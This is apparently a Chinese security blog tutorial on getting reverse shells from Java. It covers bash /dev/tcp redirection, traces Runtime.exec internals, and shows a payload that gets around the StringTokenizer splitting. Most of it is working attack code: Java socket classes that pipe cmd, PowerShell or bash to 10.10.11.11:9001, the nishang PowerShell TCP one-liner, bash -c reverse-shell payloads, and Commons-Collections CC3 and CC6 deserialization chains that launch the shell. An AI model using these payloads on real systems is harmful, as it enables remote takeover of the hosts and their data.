Loading

javaRveShell基础

javaRveShell

前言

一直研究 java RCE,证明的方法总是执行 calc 在本地机器上弹出计算器,就缺乏了对于各种 RCE 漏洞利用的研究,写篇文章记录一下 java 各种反弹 shell 的操作。

linux 反弹命令解析

bash -i >& /dev/tcp/10.10.11.11/9001 0>&1

& 符号作用

没有 & 时,<> 后面跟的是一个 文件名
1> out.txt : 将 stdout 输出到名为 out.txt 的文件。
当有 & 时,<> 后面跟的是一个 文件描述符

>&m 的意思是“...到文件描述符 m 所指向的文件”。
<&m 的意思是“...从文件描述符 m 所指向的文件”。

命令解读

对这条命令的完整解读,他的完整版本是

bash -i > /dev/tcp/10.10.11.11/9001 2>&1 0>&1

linux 从左向右处理这条命令

bash -i 启动一个新的交互 shell

> : 是 1> 的简写,把标准输出重定向到 /dev/tcp/10.10.11.11/9001 这台伪设备,此时状态

  • fd 1 (stdout) -> 网络连接 (TCP Socket)
  • fd 2 (stderr) -> 屏幕 (尚未改变)
  • fd 0 (stdin) -> 键盘 (尚未改变)

2>&1 : 这得益于 & 符号的作用,它把重定向的目标改为了 文件描述符 , 实际效果就是 把错误 (stderr) 重定向到 1 文件描述符所指向的地方,在第一步 > 中, 1 这个标准输出描述符已经指向了 /dev/tcp/10.10.11.11/9001 伪设备,所以到这里的状态

  • fd 1 (stdout) -> 网络连接 (TCP Socket)
  • fd 2 (stderr) -> 网络连接 (TCP Socket) (与 fd 1 指向同一个地方)
  • fd 0 (stdin) -> 键盘 (尚未改变)

0>&1 : 与上边讲的一样,把输入重定向到了 1 文件描述符所指向的位置 , 最终状态

  • fd 1 (stdout) -> 网络连接 (TCP Socket)
  • fd 2 (stderr) -> 网络连接 (TCP Socket) (与 fd 1 指向同一个地方)
  • fd 0 (stdin) -> 网络连接 (TCP Socket) (与 fd 1 指向同一个地方)

由此,我们就把 bash -i 新开起的交互 shell 的所有输入 (stdin) 和输出(stdout, stderr) 全部交给了 tcp伪设备 , 也就实现了反弹 shell

>& 合并输出重定向 :包含了 标准输出(stdout)和错误输出(stderr)

<& 读写重定向 :包含标准输出(stdout) 和 标准输入(stdin)

补充知识点

0>&10<&1 作用是完全相同的,是不是看到这个很困惑,我来解释一下

0>&1 : 这个好理解,我们上边讲过了,将文件描述符 0(stdin)的输出,重定向到文件描述符 1(stdout)当前所指向的同一个地方,最终 01 的文件描述符指向同一文件或管道

0<&1 : 让文件描述符 0(stdin) 文件描述符 1(stdout)当前所指向的同一个地方 读取输入, 最终 01 的文件描述符指向同一文件或管道

两者的结果是相同的

我们的反弹 shell 语句的等价语句

bash -i >& /dev/tcp/10.10.11.11/9001 0<&1

Runtime.exec()

windows 平台

在 Runtime 中 exec() 有 6 个重载方法

image-20250730092637049

public Process exec(String command) throws IOException {
    return exec(command, null, null);
}
public Process exec(String command, String[] envp) throws IOException {
    return exec(command, envp, null);
}
public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");

    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}
public Process exec(String cmdarray[]) throws IOException {
    return exec(cmdarray, null, null);
}
public Process exec(String[] cmdarray, String[] envp) throws IOException {
    return exec(cmdarray, envp, null);
}
public Process exec(String[] cmdarray, String[] envp, File dir)
    throws IOException {
    return new ProcessBuilder(cmdarray)
        .environment(envp)
        .directory(dir)
        .start();
}

看的出来无论我们传入的是字符串 String 还是 字符数组 String[] 最终调用都是 public Process exec(String[] cmdarray, String[] envp, File dir) 方法,由他再去调用 ProcessBuilder() 方法

我们先来简单调试一下 exec(),看他是如何运行的

package com.lingx5.windows;

import java.io.IOException;
import java.io.InputStream;

public class ExecTest {
    public static void main(String[] args) throws IOException {
        InputStream inputStream = Runtime.getRuntime().exec("ipconfig /all").getInputStream();
        byte[] bytes = new byte[1024];
        int bytesRead;
        while ((bytesRead = inputStream.read(bytes)) != -1) {
            System.out.print(new String(bytes, 0, bytesRead, "GBK"));
        }
    }
}

image-20250730093316430

步入,来到 java.lang.Runtime#exec(java.lang.String)

image-20250730093447082

方法重载来到 java.lang.Runtime#exec(java.lang.String, java.lang.String [], java.io.File) 方法

image-20250730093613968

利用 java.util.StringTokenizer 这个类处理字符串,按照 \t\n\r\f 进行分割 也就是(空格 \t \n \r \f)分割

image-20250730094420823

所以 ifconfig /all 命令会 java.util.StringTokenizer#nextTokens 被分割为 ifconfig /all 两个 token

public String nextToken() {
    /*
         * If next position already computed in hasMoreElements() and
         * delimiters have changed between the computation and this invocation,
         * then use the computed value.
         */

    currentPosition = (newPosition >= 0 && !delimsChanged) ?
        newPosition : skipDelimiters(currentPosition);

    /* Reset these anyway */
    delimsChanged = false;
    newPosition = -1;

    if (currentPosition >= maxPosition)
        throw new NoSuchElementException();
    int start = currentPosition;
    currentPosition = scanToken(currentPosition);
    return str.substring(start, currentPosition);
}

封装为数组,并传递给 java.lang.Runtime#exec(java.lang.String [], java.lang.String [], java.io.File)

image-20250730100349241

创建 ProcessBuilder 对象,最后 start()

image-20250730100544640

在 start() 方法中,把 cmdarray [0] 赋值给了 prog

image-20250730101317718

然后调用 java.lang.ProcessImpl#start 方法

image-20250730101550293

在 start() 静态方法中处理了 environment 等变量,最后调用了 ProcessImpl 的构造方法

image-20250730102321264

调用 java.lang.ProcessImpl#createCommandLine 把数组变为命令字符串

image-20250730103225574

最后调用 natvie creat 创建进程,执行命令,并返回句柄

image-20250730110356425

image-20250730110456523

native 源码:Java_java_lang_ProcessImpl_create

Java_java_lang_ProcessImpl_create(JNIEnv *env, jclass ignored,
                                  jstring cmd,
                                  jstring envBlock,
                                  jstring dir,
                                  jlongArray stdHandles,
                                  jboolean redirectErrorStream)
{
    jlong ret = 0;
    if (cmd != NULL && stdHandles != NULL) {
        const jchar *pcmd = (*env)->GetStringChars(env, cmd, NULL);
        if (pcmd != NULL) {
            const jchar *penvBlock = (envBlock != NULL)
                ? (*env)->GetStringChars(env, envBlock, NULL)
                : NULL;
            if (!(*env)->ExceptionCheck(env)) {
                const jchar *pdir = (dir != NULL)
                    ? (*env)->GetStringChars(env, dir, NULL)
                    : NULL;
                if (!(*env)->ExceptionCheck(env)) {
                    jlong *handles = (*env)->GetLongArrayElements(env, stdHandles, NULL);
                    if (handles != NULL) {
                        ret = processCreate(
                            env,
                            pcmd,
                            penvBlock,
                            pdir,
                            handles,
                            redirectErrorStream);
                        (*env)->ReleaseLongArrayElements(env, stdHandles, handles, 0);
                    }
                    if (pdir != NULL)
                        (*env)->ReleaseStringChars(env, dir, pdir);
                }
                if (penvBlock != NULL)
                    (*env)->ReleaseStringChars(env, envBlock, penvBlock);
            }
            (*env)->ReleaseStringChars(env, cmd, pcmd);
        }
    }
    return ret;
}

processCreate

static jlong processCreate(
    JNIEnv *env,
    const jchar *pcmd,
    const jchar *penvBlock,
    const jchar *pdir,
    jlong *handles,
    jboolean redirectErrorStream)
{
    jlong ret = 0L;
    STARTUPINFOW si = {sizeof(si)};

    /* Handles for which the inheritance flag must be restored. */
    HANDLE stdIOE[HANDLE_STORAGE_SIZE] = {
        /* Current process standard IOE handles: JDK-7147084 */
        INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE,
        /* Child process IOE handles: JDK-6921885 */
        (HANDLE)handles[0], (HANDLE)handles[1], (HANDLE)handles[2]};
    BOOL inherit[HANDLE_STORAGE_SIZE] = {
        FALSE, FALSE, FALSE,
        FALSE, FALSE, FALSE};

    /* These three should not be closed by CloseHandle! */
    stdIOE[0] = GetStdHandle(STD_INPUT_HANDLE);
    stdIOE[1] = GetStdHandle(STD_OUTPUT_HANDLE);
    stdIOE[2] = GetStdHandle(STD_ERROR_HANDLE);

    prepareIOEHandleState(stdIOE, inherit);
    {
        /* Input */
        STDHOLDER holderIn = {{INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE}, OFFSET_READ};
        if (initHolder(env, &handles[0], &holderIn, &si.hStdInput)) {

            /* Output */
            STDHOLDER holderOut = {{INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE}, OFFSET_WRITE};
            if (initHolder(env, &handles[1], &holderOut, &si.hStdOutput)) {

                /* Error */
                STDHOLDER holderErr = {{INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE}, OFFSET_WRITE};
                BOOL success;
                if (redirectErrorStream) {
                    si.hStdError = si.hStdOutput;
                    /* Here we set the error stream to [ProcessBuilder.NullInputStream.INSTANCE]
                       value. That is in accordance with Java Doc for the redirection case.
                       The Java file for the [ handles[2] ] will be closed in ANY case. It is not
                       a handle leak. */
                    handles[2] = JAVA_INVALID_HANDLE_VALUE;
                    success = TRUE;
                } else {
                    success = initHolder(env, &handles[2], &holderErr, &si.hStdError);
                }

                if (success) {
                    PROCESS_INFORMATION pi;
                    DWORD processFlag = CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT;

                    /* If the standard I/O is inherited, CREATE_NO_WINDOW must not be used. */
                    if (GetConsoleWindow() != NULL &&
                        (si.hStdInput  == stdIOE[0] ||
                         si.hStdOutput == stdIOE[1] ||
                         si.hStdError  == (redirectErrorStream ? stdIOE[1] : stdIOE[2])))
                    {
                        processFlag &= ~CREATE_NO_WINDOW;
                    }

                    si.dwFlags = STARTF_USESTDHANDLES;
                    if (!CreateProcessW(
                        NULL,             /* executable name */
                        (LPWSTR)pcmd,     /* command line */
                        NULL,             /* process security attribute */
                        NULL,             /* thread security attribute */
                        TRUE,             /* inherits system handles */
                        processFlag,      /* selected based on exe type */
                        (LPVOID)penvBlock,/* environment block */
                        (LPCWSTR)pdir,    /* change to the new current directory */
                        &si,              /* (in)  startup information */
                        &pi))             /* (out) process information */
                    {
                        win32Error(env, L"CreateProcess");
                    } else {
                        closeSafely(pi.hThread);
                        ret = (jlong)pi.hProcess;
                    }
                }
                releaseHolder(ret == 0, &holderErr);
                releaseHolder(ret == 0, &holderOut);
            }
            releaseHolder(ret == 0, &holderIn);
        }
    }
    restoreIOEHandleState(stdIOE, inherit);

    return ret;
}

在其中调用了 CreateProcessW 函数(processthreadsapi.h) - Win32 apps | Microsoft Learn

CreateProcessW(
    NULL,             /* executable name */
    (LPWSTR)pcmd,     /* command line */
    NULL,             /* process security attribute */
    NULL,             /* thread security attribute */
    TRUE,             /* inherits system handles */
    processFlag,      /* selected based on exe type */
    (LPVOID)penvBlock,/* environment block */
    (LPCWSTR)pdir,    /* change to the new current directory */
    &si,              /* (in)  startup information */
    &pi))             /* (out) process information */

到这里 windows 就开始执行我们传入的命令了

返回句柄

  • handle (1820) 是一个指向 新创建的子进程本身 的句柄,允许父进程管理和控制子进程的生命周期。
  • stdHandles 数组中的句柄 (1832, 1836, 1844) 是与子进程进行 输入/输出通信 的管道/文件句柄。(stdin, stdout, stderr)

image-20250730142526350

也就是在 windows 平台真正执行命令的方法就是 java.lang.ProcessImpl#create 这个 native 方法

调用站

create:593, ProcessImpl (java.lang)
<init>:453, ProcessImpl (java.lang)
start:139, ProcessImpl (java.lang)
start:1029, ProcessBuilder (java.lang)
exec:621, Runtime (java.lang)
exec:451, Runtime (java.lang)
exec:348, Runtime (java.lang)
main:8, ExecTest (com.lingx5.windows)

做个测试,通过反射拿到 ProcessImpl 拿到他的 Class 文件,利用他的构造方法来执行命令

因为 create 方法,只有构造方法调用了,且 ProcessImpl 这个类只有一个构造方法,所以我们就不能通过无参构造器拿到类后,再执行 create 了

image-20250730145156033 image-20250730145239345
package com.lingx5.windows;

import java.lang.reflect.Constructor;

public class createTest {
    public static void main(String[] args) throws Exception {
        Class<?> aClass = Class.forName("java.lang.ProcessImpl");
        System.out.println(aClass);
        Constructor<?> constructor = aClass.getDeclaredConstructor(String[].class, String.class,
                String.class,
                long[].class, boolean.class);
        constructor.setAccessible(true);
        constructor.newInstance(new String[]{"calc"}, null, null, new long[]{-1L,-1L,-1L}, false);
    }
}

通过 ProcessImpl 的构造方法成功执行命令

image-20250730145507620

linux 平台

其实和 window 差不多,最后都是通过 native 方法(linux 是 forkAndExec() 方法),实现命令执行的,详细可以参考:Java 本地命令执行

调用栈

java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)

navtive forkAndExec 源码

windows revShell

java 在 windows 下反弹 shell 比较通用的就是建立 socket 连接来实现 cmd,powershell 进程的 I/O 重定向 ,还有就是命令本身的 I/O 重定向

socket

JavaSocketRevShell

package com.lingx5.windows;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JavaSocketRevShell {
    private void pumpStream(InputStream in, OutputStream out) {
        new Thread(() -> {
            try {
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = in.read(buffer)) != -1) {
                    out.write(buffer, 0, bytesRead);
                    out.flush();
                }
            } catch (IOException e) {
            } finally {
                try {
                    in.close();
                    out.close();
                } catch (IOException ignored) {}
            }
        }).start();
    }
    public void conn(String host, int port, String... cmd) throws Exception {
        try (Socket socket = new Socket(host, port)) {
            ProcessBuilder pb = new ProcessBuilder(cmd);
            Process process = pb.start();
            pumpStream(socket.getInputStream(), process.getOutputStream());
            pumpStream(process.getInputStream(), socket.getOutputStream());
            pumpStream(process.getErrorStream(), socket.getOutputStream());
            process.waitFor();
        } catch (Exception e) {

        }
    }

    public static void main(String[] args) {
        try {
            new JavaSocketRevShell().conn("10.10.11.11", 9001, "powershell.exe");
        } catch (Exception e) {
        }
    }
}

成功反弹

image-20250730174911904

弹 cmd 的 shell 的话,要在后面加上 /k 参数

public static void main(String[] args) {
    try {
        new JavaSocketRevShell().conn("10.10.11.11", 9001, "cmd.exe","/k")
    } catch (Exception e) {
    }
}

也可以反弹回来

image-20250730174848114

powershell 命令

powershell 这个 shell 环境也很强大,可以使用 powershell 脚本,其中具有可以重定向输入输出的命令,详见 nishang 框架 :

nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 at master · samratashok/nishang

$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
$sm=(New-Object Net.Sockets.TCPClient('192.168.254.1',55555)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

对应 java 代码

package com.lingx5.windows;

public class ExecRevShell {
    public static void main(String[] args) throws Exception {
        String ip = "'10.10.11.11'";
        int port = 9001;
        String cmd = "$client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+");" +
                "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()";
        Runtime.getRuntime().exec("powershell.exe "+cmd);
    }
}

也是可以成功反弹 shell

image-20250730174728842

当然也可以去看 反弹 shell 生成器 生成的 payload,有的杀软会报毒,注意甄别。

linux revShell

当然 linux 也是可以使用 socket 进行 shell 的反弹的

socket

package com.lingx5.windows;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JavaSocketRevShell {
    private void pumpStream(InputStream in, OutputStream out) {
        new Thread(() -> {
            try {
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = in.read(buffer)) != -1) {
                    out.write(buffer, 0, bytesRead);
                    out.flush();
                }
            } catch (IOException e) {
            } finally {
                try {
                    in.close();
                    out.close();
                } catch (IOException ignored) {}
            }
        }).start();
    }
    public void conn(String host, int port, String... cmd) throws Exception {
        try (Socket socket = new Socket(host, port)) {
            ProcessBuilder pb = new ProcessBuilder(cmd);
            Process process = pb.start();
            pumpStream(socket.getInputStream(), process.getOutputStream());
            pumpStream(process.getInputStream(), socket.getOutputStream());
            pumpStream(process.getErrorStream(), socket.getOutputStream());
            process.waitFor();
        } catch (Exception e) {

        }
    }

    public static void main(String[] args) {
        try {
            new JavaSocketRevShell().conn("10.10.11.11", 9001, "bash","-i");
        } catch (Exception e) {
        }
    }
}
image-20250731101542221

也可以成功反弹

image-20250731101510436

bash 命令

cmdarray

其实和我们之前讲的如出一辙

bash -c 'bash -i >& /dev/tcp/10.10.11.11/9001 0>&1' 

对应的 java 代码

public class ExecRevShell {
    public static void main(String[] args) {
        try {
            String[] cmd = new String[]{
                "bash",
                "-c",
                "bash -i >& /dev/tcp/10.10.11.11/9001 0>&1"
            };
            java.lang.Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里要传入数组,不然在 StringTokenizer 的处理过程中,会把我们的 bash -i >& /dev/tcp/10.10.11.11/9001 0 >&1 按照空格拆分,那显然不是我们想要的

image-20250731110033628

kali 执行

image-20250731105616577

成功反弹

image-20250731105403909

cmdString

那我们可以基于 bash 和 StringTokenizer 的特性,构造一个可以反弹 shell 的字符串吗?

我们先来看 bash -c 的帮助

执行 man bash 可以看到 -c 的介绍

-c     If the -c option is present, then commands are read from the first non-option argument command_string.  If there are argu‐ments after the command_string, the first argument is assigned to $0 and any remaining arguments are assigned to the posi‐tional parameters.  The assignment to $0 sets the name of the shell, which is used in warning and error messages.

翻译过来就是

如果存在 -c 选项,则从第一个非选项参数 command_string 中读取命令。如果 command_string 之后有参数,则第一个参数被赋值给 $0,其余参数被赋值给位置参数。赋值给 $0 会设置 shell 的名称,该名称用于警告和错误消息中。

例子
简而言之就是 bash -c String1 String2 String3 ... -c 参数后边有多个字符串的话,bash 的处理是将 String1 识别为要执行的字符串,String2 赋值给 $0,String3赋值给$ 1 以此类推。

在 bash 中有一个特殊的变量 $@$* 它会扩展为所有的位置参数($1, $2, $3, ...)

bash 执行命令的流程

  1. 词法分析(Parsing): Shell 将你的命令行输入分解成一个个的“词”(tokens)。
  2. I/O 重定向扫描与处理 (Redirection): 在进行任何变量扩展或命令执行之前,Shell 会从左到右扫描整个命令行,寻找重定向操作符(如 ><>&>> 等)。
  3. 变量与参数扩展 (Expansion): Shell 进行变量替换($VAR)、参数扩展($@)、命令替换($(command))等。
  4. 命令执行 (Execution): 最后,Shell 执行命令。

image-20250731150007446

看样子 $@$* 是相同的,但是 "$@" , "$*" 还是有区别的

"$@" : 把 $1 $2 $3 ... 等,转化为单独字符串,就比如上边的 "bash" "-i" ">&" "/dev/tcp/10.10.11.11/9001" "0>&1" 每一个都是单独的字符串

"$*" : 把 $1 $2 $3 ... 等,转化为一整个字符串,就比如把上面的转化为 "bash -i >& /dev/tcp/10.10.11.11/9001 0>&1" 分隔符为 IFS 变量的第一个字节(默认为空格)

image-20250731150825987

看到可以反弹成功

image-20250731150902166

利用这一特性 和 java Runtime#exec 的 StringTokenizer 分词特性,我们可以构造反弹 shell 命令

错误的 payload

讲了这么多,你肯定是想直接这样写 payload

bash -c "$*" 0 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1

分词处理

image-20250731151542469

执行验证


import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExecRevShell {
    public static void main(String[] args) {
        try {
            Process process = Runtime.getRuntime().exec("bash -c \"$*\" 0 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1");
            InputStream errorStream = process.getErrorStream();
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(errorStream));
            String str;
            while ((str=stdInput.readLine())!=null){
                System.out.println(str);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20250731173825562

很明显 他不能正确执行,看到报错信息他好像是吧 我们想要 -c 执行的命令字符串,当作可执行文件去执行了。为什么会这样呢?

其实也很简单,我们先来了解 bash -c

bash -c 三步模型:解析,扩展/填充,执行

解析:查看命令行中的 特殊意义的字符 重定向:> 填充字段:$1

填充:就是识别后边字符串,赋值到 $1 $2 ... 并以普通字符串填充到指定位置

执行:如果是填充的,就会当作普通字符串处理,所以不会解析重定向字符,就反弹不了 shell

看我们的报错信息 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1: No such file or directory 这就不难理解了

我们来分析一下这个流程

java 的 StringTokenizer 分词后,识别到 “$*” 会把后续的 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1 赋值给 $1 然后填充到 $* , "$*",带了双引号, 把所有值当成一整个字符串,bash 把 $1 当成命令,后续的 $2... 都识别为命令参数,所以把这个参数当成命令或可执行文件了,没有 $2 ... 所以没有参数,就产生了我们看到的报错 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1: No such file or directory

正确的 payload

我们可以给 $* 或者 $@ 后边加上管道符 | 把字符串放入标准输入 stdin 在重定向给 一个新的 bash

bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
bash -c $*|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1

java 的 StringTokenizer 分词器会把这个命令分为了 这些词

image-20250803173127171
  1. 也就是会先传递 bash 字符串,开始 bash 会话

  2. 传递 -c 告诉当前 bash 执行后面的字符串

  3. 传递 $@|bash 这是会对 $@ 进行填充,且 | 管道符不是填充过来的,会被 bash 识别,生效 ,将流传给一个新的 bash

  4. $@ 被依次填充为 "echo" "bash" "-i" ">&" "/dev/tcp/10.10.11.11/9001" "0>&1"

  5. echo 会被识别为 “bash -c” 的命令,后续的都是 echo 命令的参数,所以会输出为反弹没了的字符串

  6. 最后 通过管道传递给 新的 bash,从而执行命令

可以成功反弹 shell

image-20250803181216335

与反序列化联合

这里举几个有代表性的例子就可以了,基本原理都是相同的,反序列主要分为类加载命令执行和反射命令执行

类加载(CC3/CC4)

关键就是后边的两步

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#TrAXFilter
                    		javax.xml.transform.Templates#newTransformer

Templates#newTransformer 这个我们在学习 fastjson 的各种反序列化链的时候就非常熟悉了,他有定义类并实现类初始化的能力,也就是可以执行 static 静态代码块

image-20250803193606078

image-20250803193641122

这里就不过多赘述了,直接看利用代码吧

CC3 相关代码

要加载的恶意类 JavaSocketRevShell

package com.lingx5.windows;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JavaSocketRevShell extends AbstractTranslet {
    private static void pumpStream(InputStream in, OutputStream out) {
        new Thread(() -> {
            try {
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = in.read(buffer)) != -1) {
                    out.write(buffer, 0, bytesRead);
                    out.flush();
                }
            } catch (IOException e) {
            } finally {
                try {
                    in.close();
                    out.close();
                } catch (IOException ignored) {}
            }
        }).start();
    }
    public static void conn(String host, int port, String... cmd) throws Exception {
        try (Socket socket = new Socket(host, port)) {
            ProcessBuilder pb = new ProcessBuilder(cmd);
            Process process = pb.start();
            pumpStream(socket.getInputStream(), process.getOutputStream());
            pumpStream(process.getInputStream(), socket.getOutputStream());
            pumpStream(process.getErrorStream(), socket.getOutputStream());
            process.waitFor();
        } catch (Exception e) {
        }
    }

    static {
        new Thread(() -> {
            try {
                conn("10.10.11.11", 9001, "powershell.exe");
            } catch (Exception e) {
            }
        }).start();
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注意:

​ 这里在 static 通过起一个新线程,从而避免了 JVM 在执行完静态代码以后,把我们的 powershell 管道(socket)资源回收。

new Thread(() -> {
try {
conn("10.10.11.11", 9001, "powershell.exe");
} catch (Exception e) {
}
}).start();

CC3 反序列化链

package com.lingx5.windows;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class ClassLoaderRevShell {
    public static byte[] getEvil() throws Exception {
        ClassPool ctClass = ClassPool.getDefault();
        CtClass evil = ctClass.get("com.lingx5.windows.JavaSocketRevShell");
        return evil.toBytecode();
    }
    public static void setFiled(Object obj, String filedName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(filedName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] evilBytes = getEvil();
        TemplatesImpl templates = new TemplatesImpl();
        setFiled(templates, "_name", "evil");
        setFiled(templates,"_bytecodes", new byte[][]{evilBytes});
        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lingx5");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "1");
        setFiled(lazyMap, "factory", transformerChain);
        lazyMap.remove("lingx5");

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        // 反序列化
        InputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

执行

image-20250803214227652

成功反弹

image-20250803212640437

CC4的利用方法也是一样的

命令执行(CC1/CC6)

这里以CC6为例吧,其实很简单了,就是用Runtime的exec执行命令

package com.lingx5.windows;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6RevShell {
    public static void setFiled(Object obj, String filedName, Object value) throws Exception{
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(filedName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{
        String ip = "'10.10.11.11'";
        int port = 9001;
        String cmd =
                "powershell.exe $client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+");" +
                "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()";
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lingx5");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "1");
        setFiled(lazyMap, "factory", chainedTransformer);
        lazyMap.remove("lingx5");

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);

        InputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

成功反弹

image-20250803215056257

另外还有fastjson的一些连以及CB链都可以实现,这里就不一一列举了,思路都是一样的

参考文章

Java Runtime.getRuntime().exec 由表及里

Java Runtime.exe() 执行命令与反弹 shell(上) - 简书

Java Runtime.exe() 执行命令与反弹 shell(下) - 简书

https://www.javasec.org/javase/CommandExecution/

